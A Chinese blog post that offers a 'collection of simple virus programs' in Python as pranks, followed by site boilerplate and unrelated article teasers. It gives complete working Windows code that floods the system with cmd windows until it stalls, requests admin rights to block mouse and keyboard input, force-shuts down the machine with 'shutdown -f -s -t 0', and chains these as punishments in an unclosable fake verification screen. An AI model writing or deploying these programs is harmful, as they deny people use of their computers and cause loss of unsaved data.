Python-简单病毒程序合集(一)

前言:简单又有趣的Python恶搞代码,往往能给我们枯燥无味的生活带来一点乐趣,激发我们对编程的最原始的热爱。那么话不多说,我们直接开始今天的编程之路。

编程思路:本次我们将会用到os,paltform,threading,ctypes,sys,wmi等库

一:无限弹窗

import os

while True:
    os.system('start cmd')

程序解释:这段代码将执行os库无限打开"cmd"窗口的命令,导致电脑CPU负载过大,电脑风扇直接起飞,系统出现严重卡顿。

运行效果:

fde9565cba41442799cf283caa2ed4b4.jpg

 

 

二:伪关机倒计时

import tkinter
import os
import threading
import time
import random
import platform



s=['red','orange','yellow','green','blue',
   'teal','purple','peru','gold','violet',
   'salmon','navy','tan','maroon','azure']

begin=12
def count_down():
    seconds=[]
    for i in range(begin,0,-1):
        seconds.append(i)
    return seconds

def windows():
    while len(count_down())>0:
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                    platform.machine(),
                    platform.node(),
                    platform.version()))
        window.geometry("{}x{}".format(1160,600))
        number=random.randint(0,14)
        tkinter.Label(window,
             text='{}系统将在{}秒后自动关机'.format(platform.system(),count_down()[0])*1,
             font=('楷体',30),
             bg='{}'.format(s[number]),
             width=1160,
             height=600
             ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


while begin>0:
    mark=threading.Thread(target=windows)
    mark.start()
    time.sleep(1)
    begin-=1

程序解释:程序运行后将会出现12->0的倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机)

运行效果:

73d5b3ced686432ca8a574e2dedc4cce.jpg

 

三:伪关机倒计时(进阶版)

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform



def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():

    user32 = ctypes.WinDLL('user32.dll')
    user32.BlockInput(True)

    begin = 12
    s = ['red', 'orange', 'yellow', 'green', 'blue',
         'teal', 'purple', 'peru', 'gold', 'violet',
         'salmon', 'navy', 'tan', 'maroon', 'azure']


    def count_down():
        seconds = []
        for i in range(begin, 0, -1):
            seconds.append(i)
        return seconds


    def windows():
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                                                 platform.machine(),
                                                 platform.node(),
                                                 platform.version()))
        window.geometry("{}x{}".format(1160, 600))
        number = random.randint(0, 14)
        tkinter.Label(window,
                      text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                      font=('楷体', 30),
                      bg='{}'.format(s[number]),
                      width=1160,
                      height=600
                      ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


    while begin > 0:
        mark = threading.Thread(target=windows)
        mark.start()
        time.sleep(1)
        begin -= 1

    time.sleep(0)
    user32.BlockInput(False)
    
else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
    

程序解释:程序运行之后将会让用户选择是否允许系统修改用户设备,如果用户点击“是”,则程序会像上面代码一样:出现12→0倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机),最重要的是,系统还会禁止用户的一切物理操作(包括内,外接鼠标和键盘,但不包括触摸板),即鼠标键盘失效;如果用户点击“否”,则程序自动跳过。

运行效果:

fb7dc71f28994dc3bdcfc5243a0be145.jpg

 3ed7cc9b6db543088e34f6f675c5a926.png

 

四:强制关机时钟炸弹

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platform



def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():

    user32 = ctypes.WinDLL('user32.dll')
    user32.BlockInput(True)

    begin = 12
    s = ['red', 'orange', 'yellow', 'green', 'blue',
         'teal', 'purple', 'peru', 'gold', 'violet',
         'salmon', 'navy', 'tan', 'maroon', 'azure']


    def count_down():
        seconds = []
        for i in range(begin, 0, -1):
            seconds.append(i)
        return seconds


    def windows():
        window = tkinter.Tk()
        window.title('{} {} {} {}警告!!!'.format(os.name,
                                                 platform.machine(),
                                                 platform.node(),
                                                 platform.version()))
        window.geometry("{}x{}".format(1160, 600))
        number = random.randint(0, 14)
        tkinter.Label(window,
                      text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                      font=('楷体', 30),
                      bg='{}'.format(s[number]),
                      width=1160,
                      height=600
                      ).pack()
        window.mainloop()
        count_down().remove(count_down()[0])


    while begin > 0:
        mark = threading.Thread(target=windows)
        mark.start()
        time.sleep(1)
        begin -= 1

    time.sleep(0)
    user32.BlockInput(False)
    os.system('shutdown -f -s -t 0')


else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)
    

程序解释:程序运行之后,就像“ 三:伪关机倒计时(进阶版) ”一样,但是这次倒计时结束后程序会真的执行关机执令(而且是强制关机),这意味着用户的临时文件和临时数据都会丢失

运行效果:

8b2c58131de04ab28ed3291f0d271f24.jpg

997b4bce31f84694b5c1ee5e26ce9891.png

987db65d67a04b408ecfac92a5e5c55c.jpg

 

五:验证入口枷锁(Boss)

from tkinter import *
from tkinter import ttk
import platform
import os
import time
import wmi
import random
import sys
import ctypes
import threading

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    # 验证失败处罚模块
    def punish_os():
        while True:
            os.system('start cmd')

    def punish_time():
        user32 = ctypes.WinDLL('user32.dll')
        user32.BlockInput(True)

        begin = 12
        s = ['red', 'orange', 'yellow', 'green', 'blue',
             'teal', 'purple', 'peru', 'gold', 'violet',
             'salmon', 'navy', 'tan', 'maroon', 'azure']

        def count_down():
            seconds = []
            for i in range(begin, 0, -1):
                seconds.append(i)
            return seconds

        def windows():
            window = Tk()
            window.title('{} {} {} {}警告!!!'.format(os.name,
                                                     platform.machine(),
                                                     platform.node(),
                                                     platform.version()))
            window.geometry("{}x{}".format(1160, 600))
            number = random.randint(0, 14)
            Label(window,
                          text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,
                          font=('楷体', 30),
                          bg='{}'.format(s[number]),
                          width=1160,
                          height=600
                          ).pack()
            window.mainloop()
            count_down().remove(count_down()[0])

        while begin > 0:
            mark = threading.Thread(target=windows)
            mark.start()
            time.sleep(1)
            begin -= 1

        time.sleep(0)
        user32.BlockInput(False)
        os.system('shutdown -f -s -t 0')





    # 入口访问信息校对模块
    def proofread():
        s = []
        x = os.environ.get('USERNAME')
        y = platform.machine()
        s.append(x)
        w = wmi.WMI()
        for CS in w.Win32_ComputerSystem():
            s.append(CS.Manufacturer)
        s.append(y)
        return s


    # 验证入口模块
    w = Tk()
    screen_width = w.winfo_screenwidth()
    screen_height = w.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    w.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))

    w.resizable(False, False)
    w.protocol("WM_DELETE_WINDOW", lambda: None)
    w.title('系统类型:{} 主机名:{} 系统版本号:{} 计算机类型:{}'.format(
        platform.system(), platform.node(),
        platform.version(), platform.machine()))
    style = ttk.Style()
    style.configure('TButton', font=28, relief='sunken', fg='gold', bg='blue')


    def close_root():
        w.destroy()


    Label(w, text='你已授权本程序以管理员权限',
          font=60, bg='white', ).pack(pady=20, fill='x')
    button1 = Button(text="用户身份验证入口按钮",
                     command=close_root, cursor='hand2').pack(pady=96, padx=80, side='left')
    button2 = Button(text="默认身份验证失败按钮",
                     command=punish_os, cursor='hand2').pack(pady=98, padx=80, side='left')
    w.configure(bg='blue')
    w.iconbitmap('info')
    w.mainloop()

    # 加载模块
    win = Tk()
    screen_width = win.winfo_screenwidth()
    screen_height = win.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    win.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))
    win.title('正在进入用户验证界面,请耐心等待!')
    win.protocol("WM_DELETE_WINDOW", lambda: None)
    win.resizable(False,False)
    win.iconbitmap('warning')

    percent = StringVar()
    percent_label = Label(win, textvariable=percent, bg='white', font=('Arial', 20))
    percent_label.pack(fill='x', pady=40)
    progress = ttk.Progressbar(win, mode='determinate', orient='horizontal', length=370)
    progress.pack(pady=40)
    def start():
        progress.start()
    def stop():
        progress.stop()
    button3 = Button(win, text='Start(继续)',
                     cursor='hand2', command=start).pack(side='left', padx=116)
    button4 = Button(win, text='Stop(暂停)',
                     cursor='hand2', command=stop).pack(side='left', padx=110)


    def do_work():
        total = 48
        for i in range(total):
            progress.step(100 / total)
            percent.set('{:.0f}%'.format(progress['value']))
            win.update_idletasks()
            time.sleep(0.5)


    def close_win():
        win.destroy()


    do_work()
    close_win()
    win.mainloop()

    # 验证主体模块
    win = Tk()
    screen_width = win.winfo_screenwidth()
    screen_height = win.winfo_screenheight()
    width = 600
    height = 350
    x = int((screen_width - width) / 2)
    y = int((screen_height - height) / 2)
    win.geometry('{}x{}+{}+{}'.format(
        width, height,
        x, y))
    win.title('你有10分钟的时间输入相关验证信息,完成后先点击"核对完成"再点击"确认提交"!!!')
    win.iconbitmap('error')
    win.configure(bg='violet', cursor='hand2')
    win.resizable(False, False)


    def close_win():
        win.destroy()


    var_1 = StringVar()
    var_2 = StringVar()
    var_3 = StringVar()

    # 创建第一个标签和Entry
    label1 = Label(win, text="本机用户名")
    label1.pack(padx=80, pady=5)
    entry1 = Entry(win, textvariable=var_1)
    entry1.pack(padx=80, pady=5)


    # 创建第一个清除按钮
    def clear_entry1():
        entry1.delete(0, END)


    clear_button1 = Button(win, text="清除键1", command=clear_entry1)
    clear_button1.pack(padx=80, pady=10)

    # 创建第二个标签和Entry
    label2 = Label(win, text="本机生产商")
    label2.pack(padx=80, pady=5)
    entry2 = Entry(win, textvariable=var_2)
    entry2.pack(padx=80, pady=5)


    # 创建第二个清除按钮
    def clear_entry2():
        entry2.delete(0, END)


    clear_button2 = Button(win, text="清除键2", command=clear_entry2)
    clear_button2.pack(padx=80, pady=10)

    # 创建第三个标签和Entry
    label3 = Label(win, text="计算机类型")
    label3.pack(padx=80, pady=0)
    entry3 = Entry(win, textvariable=var_3)
    entry3.pack(padx=80, pady=0)


    # 创建第三个清除按钮
    def clear_entry3():
        entry3.delete(0, END)


    clear_button3 = Button(win, text="清除键3", command=clear_entry3)
    clear_button3.pack(padx=80, pady=10)


    def get_info():
        x = var_1.get()
        y = var_2.get()
        z = var_3.get()
        s = [x, y, z]
        return s


    start_time = time.time()
    Button(win, text='核对完成', command=get_info).pack(padx=120, pady=0, side='left')
    Button(win, text='确认提交', command=close_win).pack(padx=120, pady=0, side='left')

    win.mainloop()
    end_time = time.time()

    if get_info()[0:3] == proofread() and end_time - start_time <= 600:
       pass
    else:
        punish_time()


else:
    ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,首先会同上面一样,让用户选择是否允许系统修改用户设备,如果用户点击“是”,那么程序会先弹出来一个界面:让用户选择“用户验证入口”,还是“默认验证失败”。如果用户点击“默认验证失败按钮”,那么系统会执行惩罚:无限弹窗(同一);如果用户点击“用户验证入口按钮”,该窗口关闭,新窗口打开。程序进入加载验证模块阶段,界面上会显示加载进度,用户可选择“Stop(暂停)”或“Start(继续)”来控制进度条进度,进度条满100%后,该窗口关闭,新窗口打开。你以为这就完了,其实这两个窗口是无法关闭的,用户必须作出选择。进入第三个窗口,程序会让用户按照窗口标题提示填写相关信息(只给600秒时间),填写完毕后,程序计算所用时间并校对信息,两者都符合规定则程序跳过,否则程序执行惩罚:“ 四:强制关机时钟炸弹”。

运行效果:

8647b13fc6ce4ba99774085f05aaf541.jpg

340baf8ef75e404fafa8947f46e13d29.png

e81d44a35fd34d6f9cf8f276a6011ae5.png

2ed0a4fffe4f45a7a22fe03984a53a71.png

验证通过(如下所示):

ff7b14e4d5d0449bb08a0ff70598d236.png

验证失败(如下所示):

aefc10e5b9cb478e942271189b62047c.png

a996f634a5404effaa6f8d64b94331db.jpg

OK!今天的分享到此结束啦!

下期我会优化本章代码,并带来新程序哦。

期待你的教流指教,我是闪云-微星,我们下期不见不散!

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/919734.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

初级数据结构——串

目录 前言一、串的定义二、串的存储结构三、串的基本操作四、串的模式匹配五、串的应用六、c代码模版七、经典例题1.汉字统计代码题解 2.查找最大元素代码题解 3.首字母变大写代码题解 八、总结结语 前言 这期我们一起深入学习初级数据结构——串&#xff0c;数据结构中的串&a…

【K8S系列】Kubernetes Pod节点ImagePullBackOff 状态及解决方案详解【已解决】

在 Kubernetes 中&#xff0c;当某个 Pod 的容器无法从指定的镜像仓库拉取镜像时&#xff0c;Pod 的状态会变为 ImagePullBackOff。这通常是因为指定的镜像不存在、镜像标签错误、认证失败或网络问题等原因。 以下是关于 ImagePullBackOff 的详细分析及解决方案。 1. ImagePull…

CSS3新特性——字体图标、2D、3D变换、过渡、动画、多列布局

目录 一、Web字体 二、字体图标 三、2D变换 1.位移 &#xff08;1&#xff09;浮动 &#xff08;2&#xff09;相对定位 &#xff08;3)绝对定位和固定定位 &#xff08;4&#xff09;位移 用位移实现盒子的水平垂直居中 2.缩放 利用缩放调整字体到12px以下&#xff…

前端项目规范~

前言 项目一般都是几个开发一起迭代升级&#xff0c;那肯定存在各种代码风格、格式化以及命名等等&#xff0c;懂得都懂&#x1f4a9;&#xff0c;所以项目规范就凸显出来了呀&#xff0c;以下主要是介绍工具自动化使用~ husky 安装husky pnpm add --save-dev husky .husk…

【编译器】Dev C++建立C语言工程

【编译器】Dev C建立C语言工程 文章目录 [TOC](文章目录) 前言一、创建工程二、添加.c.h三、主函数处理四、在桌面中打开exe文件五、参考资料总结 前言 在使用了很多编译器之后&#xff0c; 要么是太大了&#xff0c; 要么是太新了&#xff0c; 要么是在线编译器&#xff0c;用…

CHIMA网络安全攻防大赛经验分享

比赛模式 第一轮&#xff1a;20分钟基础知识赛&#xff08;50道题&#xff09; 安全运维&#xff0c;法律法规&#xff0c;linux操作系统等 第二轮&#xff1a;50分钟CTF夺旗&#xff08;5道题&#xff09; 题目涵盖 密码学 运用多种工具&#xff0c;如ASCII对照&#xff0c…

基于yolov8、yolov5的植物类别识别系统(含UI界面、训练好的模型、Python代码、数据集)

项目介绍 项目中所用到的算法模型和数据集等信息如下&#xff1a; 算法模型&#xff1a;     yolov8、yolov8 SE注意力机制 或 yolov5、yolov5 SE注意力机制 &#xff0c; 直接提供最少两个训练好的模型。模型十分重要&#xff0c;因为有些同学的电脑没有 GPU&#xff0…

JavaWeb开发10

多表设计 一对多 关系实现&#xff1a;在数据库表中多的一方添加字段来关联一的一方的主键 外键约束 一对一 关系&#xff1a;一对一关系&#xff0c;多用于单表拆分&#xff0c;将一张表的基础字段放在一张表中&#xff0c;其他字段放在另一张表中&#xff0c;以提高操作…

leetcode-12-整数转罗马数字

题解&#xff1a; 1、初始化字典&#xff1a; 2、 代码&#xff1a;

Seatunnel解决Excel中无法将数字类型转换成字符串类型以及源码打包

需求 需要实现将Excel中的数字类型的单元格像数据库中字符串类型的字段中推送 问题原因 Seatunnel在读取字段类型的时候都是使用强转的形式去获取数据的 假如说数据类型不一样的话直接强转就会报错 修改位置 org/apache/seatunnel/api/table/type/SeaTunnelRow.java org…

Keil基于ARM Compiler 5的工程迁移为ARM Compiler 6的工程

环境&#xff1a; keil版本为5.38&#xff0c;版本务必高于5.30 STM32F4的pack包版本要高于2.9 软件包下载地址&#xff1a;https://zhuanlan.zhihu.com/p/262507061 一、更改Keil中编译器 更改后编译&#xff0c;会报很多错&#xff0c;先不管。 二、更改头文件依赖 观察…

JeecgBoot 与分布式事务 Seata v1.7.0 集成实战

准备环境 一、创建四个数据库&#xff0c;如下 jeecg_order&#xff08;订单数据库&#xff09; jeecg_account&#xff08;账户数据库&#xff09; jeecg_product&#xff08;商品数据库&#xff09; seata&#xff08;seata数据库&#xff09;以上数据库脚本已存放至 jeecg…

鸿蒙动画开发07——粒子动画

1、概 述 粒子动画是在一定范围内随机生成的大量粒子产生运动而组成的动画。 动画元素是一个个粒子&#xff0c;这些粒子可以是圆点、图片。我们可以通过对粒子在颜色、透明度、大小、速度、加速度、自旋角度等维度变化做动画&#xff0c;来营造一种氛围感&#xff0c;比如下…

MAC创建一个自动操作,启动系统【睡眠】功能,并将绑定快捷键

目的 通过 Automator 创建一个服务来启动系统【睡眠】这个功能&#xff0c;并绑定快捷键。 步骤一&#xff1a;创建 Automator 服务 打开 Automator&#xff1a; ○ 在 Spotlight 中搜索 Automator&#xff0c;然后打开。选择服务类型&#xff1a; ○ 在 Automator 的启动界…

基于AIRTEST和Jmeter、Postman的自动化测试框架

基于目前项目和团队技术升级&#xff0c;采用了UI自动化和接口自动化联动数据&#xff0c;进行相关测试活动&#xff0c;获得更好的测试质量和测试结果。

HarmonyOS4+NEXT星河版入门与项目实战------Button组件

文章目录 1、控件图解2、案例实现1、代码实现2、代码解释3、运行效果4、总结1、控件图解 这里我们用一张完整的图来汇整 Button 的用法格式、属性和事件,如下所示: 按钮默认类型就是胶囊类型。 2、案例实现 这里我们实现一个根据放大和缩小按钮来改变图片大小的功能。 功…

5、深入剖析PyTorch DataLoader源码

文章目录 1. 重要类2. DataSet3. DataLoader4. Python实例 参考大神B站&#xff0c;记录学习笔记 5、深入剖析PyTorch DataLoader源码 其他大神笔记&#xff1a; pytorch数据操作—dataset&#xff0c;dataloader&#xff0c;transform 1. 重要类 Data LoaderDatasetSampleRa…

D74【 python 接口自动化学习】- python 基础之HTTP

day74 http基础定义 学习日期&#xff1a;20241120 学习目标&#xff1a;http定义及实战 -- http基础介绍 学习笔记&#xff1a; HTTP定义 HTTP 是一个协议&#xff08;服务器传输超文本到浏览器的传送协议&#xff09;&#xff0c;是基于 TCP/IP 通信协议来传递数据&…

非对称之美(贪心)

非对称之美(贪心) import java.util.*; public class Main{public static void main(String[] arg) {Scanner in new Scanner(System.in);char[] ch in.next().toCharArray(); int n ch.length; int flag 1;for(int i 1; i < n; i) {if(ch[i] ! ch[0]) {flag …

Rust derive macro(Rust #[derive])Rust派生宏

参考文章&#xff1a;附录 D&#xff1a;派生特征 trait 文章目录 Rust 中的派生宏 #[derive]基础使用示例&#xff1a;派生 Debug 派生其他常用特征示例&#xff1a;派生 Clone 和 Copy 派生宏的限制和自定义派生自定义派生宏上面代码运行时报错了&#xff0c;以下是解释 结论…